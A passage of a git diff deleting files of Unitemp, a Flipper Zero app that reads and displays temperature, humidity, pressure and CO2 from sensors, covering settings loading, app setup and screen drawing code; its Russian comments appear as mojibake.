APP_FILENAME_SETTINGS); - - //Открытие потока к файлу наÑтроек - if(!file_stream_open( - app->file_stream, furi_string_get_cstr(filepath), FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - //Сохранение наÑтроек по умолчанию в Ñлучае отÑутÑÑ‚Ð²Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð° - if(file_stream_get_error(app->file_stream) == FSE_NOT_EXIST) { - FURI_LOG_W(APP_NAME, "Missing settings file. Setting defaults and saving..."); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - //Сохранение Ñтандартного конфига - unitemp_saveSettings(); - return false; - } else { - FURI_LOG_E( - APP_NAME, - "An error occurred while loading the settings file: %d. Standard values have been applied", - file_stream_get_error(app->file_stream)); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } - } - - //ВычиÑление размера файла - uint8_t file_size = stream_size(app->file_stream); - //ЕÑли файл пуÑтой, то: - if(file_size == (uint8_t)0) { - FURI_LOG_W(APP_NAME, "Settings file is empty"); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - //Сохранение Ñтандартного конфига - unitemp_saveSettings(); - return false; - } - //Выделение памÑти под загрузку файла - uint8_t* file_buf = malloc(file_size); - //ОпуÑтошение буфера файла - memset(file_buf, 0, file_size); - //Загрузка файла - if(stream_read(app->file_stream, file_buf, file_size) != file_size) { - //Выход при ошибке Ñ‡Ñ‚ÐµÐ½Ð¸Ñ - FURI_LOG_E(APP_NAME, "Error reading settings file"); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - free(file_buf); - return false; - } - //ПоÑтрочное чтение файла - //Указатель на начало Ñтроки - FuriString* file = furi_string_alloc_set_str((char*)file_buf); - //Сколько байт до конца Ñтроки - size_t line_end = 0; - - while(line_end != ((size_t)-1) && line_end != (size_t)(file_size - 1)) { - char buff[20] = {0}; - sscanf(((char*)(file_buf + line_end)), "%s", buff); - - if(!strcmp(buff, "INFINITY_BACKLIGHT")) { - //Чтение Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° - int p = 0; - sscanf(((char*)(file_buf + line_end)), "INFINITY_BACKLIGHT %d", &p); - app->settings.infinityBacklight = p; - } else if(!strcmp(buff, "TEMP_UNIT")) { - //Чтение Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° - int p = 0; - sscanf(((char*)(file_buf + line_end)), "\nTEMP_UNIT %d", &p); - app->settings.temp_unit = p; - } else if(!strcmp(buff, "PRESSURE_UNIT")) { - //Чтение Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° - int p = 0; - sscanf(((char*)(file_buf + line_end)), "\nPRESSURE_UNIT %d", &p); - app->settings.pressure_unit = p; - } else if(!strcmp(buff, "HEAT_INDEX")) { - //Чтение Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð°Ð¼ÐµÑ‚Ñ€Ð° - int p = 0; - sscanf(((char*)(file_buf + line_end)), "\nHEAT_INDEX %d", &p); - app->settings.heat_index = p; - } else { - FURI_LOG_W(APP_NAME, "Unknown settings parameter: %s", buff); - } - - //ВычиÑление конца Ñтроки - line_end = furi_string_search_char(file, '\n', line_end + 1); - } - free(file_buf); - file_stream_close(app->file_stream); - stream_free(app->file_stream); - - FURI_LOG_I(APP_NAME, "Settings have been successfully loaded"); - return true; -} - -/** - * @brief Выделение меÑта под переменные плагина - * - * @return true ЕÑли вÑÑ‘ прошло уÑпешно - * @return false ЕÑли в процеÑÑе загрузки произошла ошибка - */ -static bool unitemp_alloc(void) { - //Выделение памÑти под данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - app = malloc(sizeof(Unitemp)); - //Разрешение работы Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - app->processing = true; - - //Открытие хранилища (?) - app->storage = furi_record_open(RECORD_STORAGE); - - //Ð£Ð²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - //УÑтановка значений по умолчанию - app->settings.infinityBacklight = true; //ПодÑветка горит вÑегда - app->settings.temp_unit = UT_TEMP_CELSIUS; //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - градуÑÑ‹ ЦельÑÐ¸Ñ - app->settings.pressure_unit = UT_PRESSURE_MM_HG; //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - мм рт. ÑÑ‚. - app->settings.heat_index = false; - - app->gui = furi_record_open(RECORD_GUI); - //ДиÑпетчер окон - app->view_dispatcher = view_dispatcher_alloc(); - - app->sensors = NULL; - - app->buff = malloc(BUFF_SIZE); - - unitemp_General_alloc(); - - unitemp_MainMenu_alloc(); - unitemp_Settings_alloc(); - unitemp_SensorsList_alloc(); - unitemp_SensorEdit_alloc(); - unitemp_SensorNameEdit_alloc(); - unitemp_SensorActions_alloc(); - unitemp_widgets_alloc(); - - //Ð’Ñплывающее окно - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, UnitempViewPopup, popup_get_view(app->popup)); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - return true; -} - -/** - * @brief ОÑвыбождение памÑти поÑле работы Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - */ -static void unitemp_free(void) { - popup_free(app->popup); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, UnitempViewPopup); - unitemp_widgets_free(); - - unitemp_SensorActions_free(); - unitemp_SensorNameEdit_free(); - unitemp_SensorEdit_free(); - unitemp_SensorsList_free(); - unitemp_Settings_free(); - unitemp_MainMenu_free(); - unitemp_General_free(); - - free(app->buff); - - view_dispatcher_free(app->view_dispatcher); - furi_record_close(RECORD_GUI); - //ОчиÑтка датчиков - //Ð’Ñ‹Ñвыбождение данных датчиков - unitemp_sensors_free(); - free(app->sensors); - - //Закрытие уведомлений - furi_record_close(RECORD_NOTIFICATION); - //Закрытие хранилища - furi_record_close(RECORD_STORAGE); - //Удаление в Ñамую поÑледнюю очередь - free(app); -} - -/** - * @brief Точка входа в приложение - * - * @return Код ошибки - */ -int32_t unitemp_app() { - //Выделение памÑти под переменные - //Выход еÑли произошла ошибка - if(unitemp_alloc() == false) { - //ОÑвобождение памÑти - unitemp_free(); - //Выход - return 0; - } - - //Загрузка наÑтроек из SD-карты - unitemp_loadSettings(); - //Применение наÑтроек - if(app->settings.infinityBacklight == true) { - //ПоÑтоÑнное Ñвечение подÑветки - notification_message(app->notifications, &sequence_display_backlight_enforce_on); - } - app->settings.lastOTGState = furi_hal_power_is_otg_enabled(); - //Загрузка датчиков из SD-карты - unitemp_sensors_load(); - //Ð˜Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² - unitemp_sensors_init(); - - unitemp_General_switch(); - - while(app->processing) { - if(app->sensors_ready) unitemp_sensors_updateValues(); - furi_delay_ms(100); - } - - //Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² - unitemp_sensors_deInit(); - //ÐвтоматичеÑкое управление подÑветкой - if(app->settings.infinityBacklight == true) - notification_message(app->notifications, &sequence_display_backlight_enforce_auto); - //ОÑвобождение памÑти - unitemp_free(); - //Выход - return 0; -} diff --git a/applications/external/unitemp/unitemp.h b/applications/external/unitemp/unitemp.h deleted file mode 100644 index c2b61b899..000000000 --- a/applications/external/unitemp/unitemp.h +++ /dev/null @@ -1,170 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP -#define UNITEMP - -/* Подключение Ñтандартных библиотек */ - -/* Подключение API Flipper Zero */ -//Файловый поток -#include -//Экран -#include -#include -#include -#include -//Ð£Ð²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ -#include -#include - -/* Внутренние библиотеки */ -//ИнтерфейÑÑ‹ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² -#include "Sensors.h" - -/* ОбъÑвление макроподÑтановок */ -//Ð˜Ð¼Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ -#define APP_NAME "Unitemp" -//ВерÑÐ¸Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ -#define UNITEMP_APP_VER "1.4" -//Путь Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² плагина -#define APP_PATH_FOLDER "/ext/unitemp" -//Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° Ñ Ð½Ð°Ñтройками -#define APP_FILENAME_SETTINGS "settings.cfg" -//Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸ -#define APP_FILENAME_SENSORS "sensors.cfg" - -//Размер буффера текÑта -#define BUFF_SIZE 32 - -#define UNITEMP_D - -#ifdef FURI_DEBUG -#define UNITEMP_DEBUG(msg, ...) FURI_LOG_D(APP_NAME, msg, ##__VA_ARGS__) -#else -#define UNITEMP_DEBUG(msg, ...) -#endif - -/* ОбъÑвление перечиÑлений */ -//Единицы Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ -typedef enum { UT_TEMP_CELSIUS, UT_TEMP_FAHRENHEIT, UT_TEMP_COUNT } tempMeasureUnit; -//Единицы Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ -typedef enum { - UT_PRESSURE_MM_HG, - UT_PRESSURE_IN_HG, - UT_PRESSURE_KPA, - UT_PRESSURE_HPA, - - UT_PRESSURE_COUNT -} pressureMeasureUnit; -/* ОбъÑвление Ñтруктур */ -//ÐаÑтройки плагина -typedef struct { - //БеÑÐºÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð° подÑветки - bool infinityBacklight; - //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ - tempMeasureUnit temp_unit; - //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - pressureMeasureUnit pressure_unit; - // Do calculate and show heat index - bool heat_index; - //ПоÑледнее ÑоÑтоÑние OTG - bool lastOTGState; -} UnitempSettings; - -//ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñтруктура плагина -typedef struct { - //СиÑтема - bool processing; //Флаг работы приложениÑ. При ложном значении приложение закрываетÑÑ - bool sensors_ready; //Флаг готовноÑти датчиков к опроÑу - //ОÑновные наÑтройки - UnitempSettings settings; - //МаÑÑив указателей на датчики - Sensor** sensors; - //КоличеÑтво загруженных датчиков - uint8_t sensors_count; - //SD-карта - Storage* storage; //Хранилище - Stream* file_stream; //Файловый поток - - //Экран - Gui* gui; - ViewDispatcher* view_dispatcher; - NotificationApp* notifications; - Widget* widget; - Popup* popup; - //Буффер Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ð¾Ð³Ð¾ текÑта - char* buff; -} Unitemp; - -/* ОбъÑвление прототипов функций */ - -/** - * @brief Calculates the heat index in Celsius from the temperature and humidity and stores it in the sensor heat_index field - * - * @param sensor The sensor struct, with temperature in Celcius and humidity in percent - */ -void unitemp_calculate_heat_index(Sensor* sensor); - -/** - * @brief Перевод Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ датчика из ЦельÑÐ¸Ñ Ð² Фаренгейты - * - * @param sensor Указатель на датчик - */ -void uintemp_celsiumToFarengate(Sensor* sensor); - -/** - * @brief ÐšÐ¾Ð½Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð· паÑкалей в мм рт.ÑÑ‚. - * - * @param sensor Указатель на датчик - */ -void unitemp_pascalToMmHg(Sensor* sensor); - -/** - * @brief ÐšÐ¾Ð½Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð· паÑкалей в килопаÑкали - * - * @param sensor Указатель на датчик - */ -void unitemp_pascalToKPa(Sensor* sensor); -/** - * @brief ÐšÐ¾Ð½Ð²ÐµÑ€Ñ‚Ð°Ñ†Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð· паÑкалей в дюйм рт.ÑÑ‚. - * - * @param sensor Указатель на датчик - */ -void unitemp_pascalToHPa(Sensor* sensor); -/** - * - * Mod BySepa - linktr.ee/BySepa - * - */ -void unitemp_pascalToInHg(Sensor* sensor); - -/** - * @brief Сохранение наÑтроек на SD-карту - * - * @return ИÑтина еÑли Ñохранение уÑпешное - */ -bool unitemp_saveSettings(void); -/** - * @brief Загрузка наÑтроек Ñ SD-карты - * - * @return ИÑтина еÑли загрузка уÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_loadSettings(void); - -extern Unitemp* app; -#endif diff --git a/applications/external/unitemp/views/General_view.c b/applications/external/unitemp/views/General_view.c deleted file mode 100644 index 0a8e8ad17..000000000 --- a/applications/external/unitemp/views/General_view.c +++ /dev/null @@ -1,687 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include "unitemp_icons.h" - -extern const Icon I_ButtonRight_4x7; -extern const Icon I_ButtonLeft_4x7; -extern const Icon I_Ok_btn_9x9; - -static View* view; - -typedef enum general_views { - G_NO_SENSORS_VIEW, //Ðет датчиков - G_LIST_VIEW, //Вид в ввиде ÑпиÑка - G_CAROUSEL_VIEW, //КаруÑель -} general_view; - -typedef enum carousel_info { - CAROUSEL_VALUES, //Отображение значений датчиков - CAROUSEL_INFO, //Отображение информации о датчике -} carousel_info; - -static general_view current_view; - -carousel_info carousel_info_selector = CAROUSEL_VALUES; -uint8_t generalview_sensor_index = 0; - -static void _draw_temperature(Canvas* canvas, Sensor* sensor, uint8_t x, uint8_t y, Color color) { - //РиÑование рамки - canvas_draw_rframe(canvas, x, y, 54, 20, 3); - - if(color == ColorBlack) { - canvas_draw_rbox(canvas, x, y, 54, 19, 3); - canvas_invert_color(canvas); - } else { - canvas_draw_rframe(canvas, x, y, 54, 19, 3); - } - - int8_t temp_dec = abs((int16_t)(sensor->temp * 10) % 10); - - //РиÑование иконки - canvas_draw_icon( - canvas, - x + 3, - y + 3, - (app->settings.temp_unit == UT_TEMP_CELSIUS ? &I_temp_C_11x14 : &I_temp_F_11x14)); - - if((int16_t)sensor->temp == -128 || sensor->status == UT_SENSORSTATUS_TIMEOUT) { - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, x + 27, y + 10, AlignCenter, AlignCenter, "--"); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, x + 50, y + 10 + 3, AlignRight, AlignCenter, ". -"); - if(color == ColorBlack) canvas_invert_color(canvas); - return; - } - - //Ð¦ÐµÐ»Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ температуры - //КоÑтыль Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð·Ð½Ð°ÐºÐ° чиÑла меньше 0 - uint8_t offset = 0; - if(sensor->temp < 0 && sensor->temp > -1) { - app->buff[0] = '-'; - offset = 1; - } - snprintf((char*)(app->buff + offset), BUFF_SIZE, "%d", (int16_t)sensor->temp); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned( - canvas, - x + 27 + ((sensor->temp <= -10 || sensor->temp > 99) ? 5 : 0), - y + 10, - AlignCenter, - AlignCenter, - app->buff); - //Печать дробной чаÑти температуры в диапазоне от -9 до 99 (когда два знака в чиÑле) - if(sensor->temp > -10 && sensor->temp <= 99) { - uint8_t int_len = canvas_string_width(canvas, app->buff); - snprintf(app->buff, BUFF_SIZE, ".%d", temp_dec); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, x + 27 + int_len / 2 + 2, y + 10 + 7, app->buff); - } - if(color == ColorBlack) canvas_invert_color(canvas); -} - -static void _draw_humidity(Canvas* canvas, Sensor* sensor, const uint8_t pos[2]) { - //РиÑование рамки - canvas_draw_rframe(canvas, pos[0], pos[1], 54, 20, 3); - canvas_draw_rframe(canvas, pos[0], pos[1], 54, 19, 3); - - //РиÑование иконки - canvas_draw_icon(canvas, pos[0] + 3, pos[1] + 2, &I_hum_9x15); - - //Ð¦ÐµÐ»Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ влажноÑти - snprintf(app->buff, BUFF_SIZE, "%d", (uint8_t)sensor->hum); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, pos[0] + 27, pos[1] + 10, AlignCenter, AlignCenter, app->buff); - uint8_t int_len = canvas_string_width(canvas, app->buff); - //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, pos[0] + 27 + int_len / 2 + 4, pos[1] + 10 + 7, "%"); -} - -static void _draw_heat_index(Canvas* canvas, Sensor* sensor, const uint8_t pos[2]) { - canvas_draw_rframe(canvas, pos[0], pos[1], 54, 20, 3); - canvas_draw_rframe(canvas, pos[0], pos[1], 54, 19, 3); - - canvas_draw_icon(canvas, pos[0] + 3, pos[1] + 3, &I_heat_index_11x14); - - int16_t heat_index_int = sensor->heat_index; - int8_t heat_index_dec = abs((int16_t)(sensor->heat_index * 10) % 10); - - snprintf(app->buff, BUFF_SIZE, "%d", heat_index_int); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned( - canvas, - pos[0] + 27 + ((sensor->heat_index <= -10 || sensor->heat_index > 99) ? 5 : 0), - pos[1] + 10, - AlignCenter, - AlignCenter, - app->buff); - - if(heat_index_int <= 99) { - uint8_t int_len = canvas_string_width(canvas, app->buff); - snprintf(app->buff, BUFF_SIZE, ".%d", heat_index_dec); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, pos[0] + 27 + int_len / 2 + 2, pos[1] + 10 + 7, app->buff); - } -} - -static void _draw_pressure(Canvas* canvas, Sensor* sensor) { - const uint8_t x = 29, y = 39; - //РиÑование рамки - if(app->settings.pressure_unit == UT_PRESSURE_HPA) { - canvas_draw_rframe(canvas, x, y, 84, 20, 3); - canvas_draw_rframe(canvas, x, y, 84, 19, 3); - } else { - canvas_draw_rframe(canvas, x, y, 69, 20, 3); - canvas_draw_rframe(canvas, x, y, 69, 19, 3); - } - - //РиÑование иконки - canvas_draw_icon(canvas, x + 3, y + 4, &I_pressure_7x13); - - int16_t press_int = sensor->pressure; - // Change Temp for Pressure - int8_t press_dec = (int16_t)(sensor->pressure * 10) % 10; - - //Ð¦ÐµÐ»Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ - snprintf(app->buff, BUFF_SIZE, "%d", press_int); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned( - canvas, x + 27 + ((press_int > 99) ? 5 : 0), y + 10, AlignCenter, AlignCenter, app->buff); - //Печать дробной чаÑти Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² диапазоне от 0 до 99 (когда два знака в чиÑле) - if(press_int <= 99) { - uint8_t int_len = canvas_string_width(canvas, app->buff); - snprintf(app->buff, BUFF_SIZE, ".%d", press_dec); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, x + 27 + int_len / 2 + 2, y + 10 + 7, app->buff); - } else if(app->settings.pressure_unit == UT_PRESSURE_HPA) { - uint8_t int_len = canvas_string_width(canvas, app->buff); - snprintf(app->buff, BUFF_SIZE, ".%d", press_dec); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, x + 32 + int_len / 2 + 2, y + 10 + 7, app->buff); - } - canvas_set_font(canvas, FontSecondary); - //Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ - - if(app->settings.pressure_unit == UT_PRESSURE_MM_HG) { - canvas_draw_icon(canvas, x + 50, y + 2, &I_mm_hg_15x15); - } else if(app->settings.pressure_unit == UT_PRESSURE_IN_HG) { - canvas_draw_icon(canvas, x + 50, y + 2, &I_in_hg_15x15); - } else if(app->settings.pressure_unit == UT_PRESSURE_KPA) { - canvas_draw_str(canvas, x + 52, y + 13, "kPa"); - } else if(app->settings.pressure_unit == UT_PRESSURE_HPA) { - canvas_draw_str(canvas, x + 67, y + 13, "hPa"); - } -} - -static void _draw_co2(Canvas* canvas, Sensor* sensor, Color color) { - const uint8_t x = 29, y = 39; - //РиÑование рамки - canvas_draw_rframe(canvas, x, y, 75, 20, 3); - if(color == ColorBlack) { - canvas_draw_rbox(canvas, x, y, 75, 19, 3); - canvas_invert_color(canvas); - } else { - canvas_draw_rframe(canvas, x, y, 75, 19, 3); - } - - //РиÑование иконки - canvas_draw_icon(canvas, x + 3, y + 3, &I_co2_11x14); - - int16_t concentration_int = sensor->co2; - // int8_t concentration_dec = (int16_t)(sensor->co2 * 10) % 10; - - //Ð¦ÐµÐ»Ð°Ñ Ñ‡Ð°ÑÑ‚ÑŒ - if(concentration_int > 9999) { - snprintf(app->buff, BUFF_SIZE, "MAX "); - canvas_set_font(canvas, FontPrimary); - } else { - snprintf(app->buff, BUFF_SIZE, "%d", concentration_int); - canvas_set_font(canvas, FontBigNumbers); - } - - canvas_draw_str_aligned(canvas, x + 70, y + 10, AlignRight, AlignCenter, app->buff); -} - -static void _draw_singleSensor(Canvas* canvas, Sensor* sensor, const uint8_t pos[2], Color color) { - canvas_set_font(canvas, FontPrimary); - - const uint8_t max_width = 56; - - char sensor_name[12] = {0}; - memcpy(sensor_name, sensor->name, 10); - - if(canvas_string_width(canvas, sensor_name) > max_width) { - uint8_t i = 10; - while((canvas_string_width(canvas, sensor_name) > max_width - 6) && (i != 0)) { - sensor_name[i--] = '\0'; - } - sensor_name[++i] = '.'; - sensor_name[++i] = '.'; - } - - canvas_draw_str_aligned( - canvas, pos[0] + 27, pos[1] + 3, AlignCenter, AlignCenter, sensor_name); - _draw_temperature(canvas, sensor, pos[0], pos[1] + 8, color); -} - -static void _draw_view_noSensors(Canvas* canvas) { - canvas_draw_icon(canvas, 7, 17, &I_sherlok_53x45); - //РиÑование рамки - canvas_draw_rframe(canvas, 0, 0, 128, 63, 7); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 7); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 63, 10, AlignCenter, AlignCenter, "No sensors found"); - canvas_set_font(canvas, FontSecondary); - const uint8_t x = 65, y = 32; - canvas_draw_rframe(canvas, x - 4, y - 11, 54, 33, 3); - canvas_draw_rframe(canvas, x - 4, y - 11, 54, 34, 3); - canvas_draw_str(canvas, x, y, "To add the"); - canvas_draw_str(canvas, x, y + 9, "new sensor"); - canvas_draw_str(canvas, x, y + 18, "press OK"); - - canvas_draw_icon(canvas, x + 37, y + 10, &I_Ok_btn_9x9); -} - -static void _draw_view_sensorsList(Canvas* canvas) { - //Ð¢ÐµÐºÑƒÑ‰Ð°Ñ Ñтраница - uint8_t page = generalview_sensor_index / 4; - //КоличеÑтво датчиков, которые будут отображатьÑÑ Ð½Ð° Ñтранице - uint8_t page_sensors_count; - if((unitemp_sensors_getActiveCount() - page * 4) / 4) { - page_sensors_count = 4; - } else { - page_sensors_count = (unitemp_sensors_getActiveCount() - page * 4) % 4; - } - - //КоличеÑтво Ñтраниц - uint8_t pages = - unitemp_sensors_getActiveCount() / 4 + (unitemp_sensors_getActiveCount() % 4 ? 1 : 0); - - //Стрелка влево - if(page > 0) { - canvas_draw_icon(canvas, 2, 32, &I_ButtonLeft_4x7); - } - //Стрелка вправо - if(pages > 0 && page < pages - 1) { - canvas_draw_icon(canvas, 122, 32, &I_ButtonRight_4x7); - } - - const uint8_t value_positions[][4][2] = { - {{36, 18}}, //1 датчик - {{7, 18}, {67, 18}}, //2 датчика - {{7, 3}, {67, 3}, {37, 33}}, //3 датчика - {{7, 3}, {67, 3}, {7, 33}, {67, 33}}}; //4 датчика - //РиÑование рамки - canvas_draw_rframe(canvas, 0, 0, 128, 63, 7); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 7); - for(uint8_t i = 0; i < page_sensors_count; i++) { - _draw_singleSensor( - canvas, - unitemp_sensor_getActive(page * 4 + i), - value_positions[page_sensors_count - 1][i], - ColorWhite); - } -} - -static void _draw_carousel_values(Canvas* canvas) { - UnitempStatus sensor_status = unitemp_sensor_getActive(generalview_sensor_index)->status; - if(sensor_status == UT_SENSORSTATUS_ERROR || sensor_status == UT_SENSORSTATUS_TIMEOUT) { - const Icon* frames[] = { - &I_flipper_happy_60x38, &I_flipper_happy_2_60x38, &I_flipper_sad_60x38}; - canvas_draw_icon(canvas, 34, 23, frames[furi_get_tick() % 2250 / 750]); - - canvas_set_font(canvas, FontSecondary); - //TODO: Оптимизировать Ñту Ñрань - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &SINGLE_WIRE) { - snprintf( - app->buff, - BUFF_SIZE, - "Waiting for module on pin %d", - ((SingleWireSensor*)unitemp_sensor_getActive(generalview_sensor_index)->instance) - ->gpio->num); - } - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &ONE_WIRE) { - snprintf( - app->buff, - BUFF_SIZE, - "Waiting for module on pin %d", - ((OneWireSensor*)unitemp_sensor_getActive(generalview_sensor_index)->instance) - ->bus->gpio->num); - } - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &I2C) { - snprintf(app->buff, BUFF_SIZE, "Waiting for module on I2C pins"); - } - if(unitemp_sensor_getActive(generalview_sensor_index)->type->interface == &SPI) { - snprintf(app->buff, BUFF_SIZE, "Waiting for module on SPI pins"); - } - canvas_draw_str_aligned(canvas, 64, 19, AlignCenter, AlignCenter, app->buff); - return; - } - - static const uint8_t temp_positions[3][2] = {{37, 23}, {37, 16}, {9, 16}}; - static const uint8_t hum_positions[2][2] = {{37, 38}, {65, 16}}; - //Селектор значений Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ - switch(unitemp_sensor_getActive(generalview_sensor_index)->type->datatype) { - case UT_DATA_TYPE_TEMP: - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[0][0], - temp_positions[0][1], - ColorWhite); - break; - case UT_DATA_TYPE_TEMP_HUM: - if(!app->settings.heat_index) { - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[1][0], - temp_positions[1][1], - ColorWhite); - } else { - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[2][0], - temp_positions[2][1], - ColorWhite); - _draw_heat_index( - canvas, unitemp_sensor_getActive(generalview_sensor_index), hum_positions[1]); - } - _draw_humidity( - canvas, unitemp_sensor_getActive(generalview_sensor_index), hum_positions[0]); - break; - case UT_DATA_TYPE_TEMP_PRESS: - _draw_temperature( - canvas, - unitemp_sensor_getActive(generalview_sensor_index), - temp_positions[1][0], - temp_positions[1][1], - ColorWhite); - _draw_pressure(canvas, unitemp_sensor_getActive(generalview_sensor_index)); - break; - case 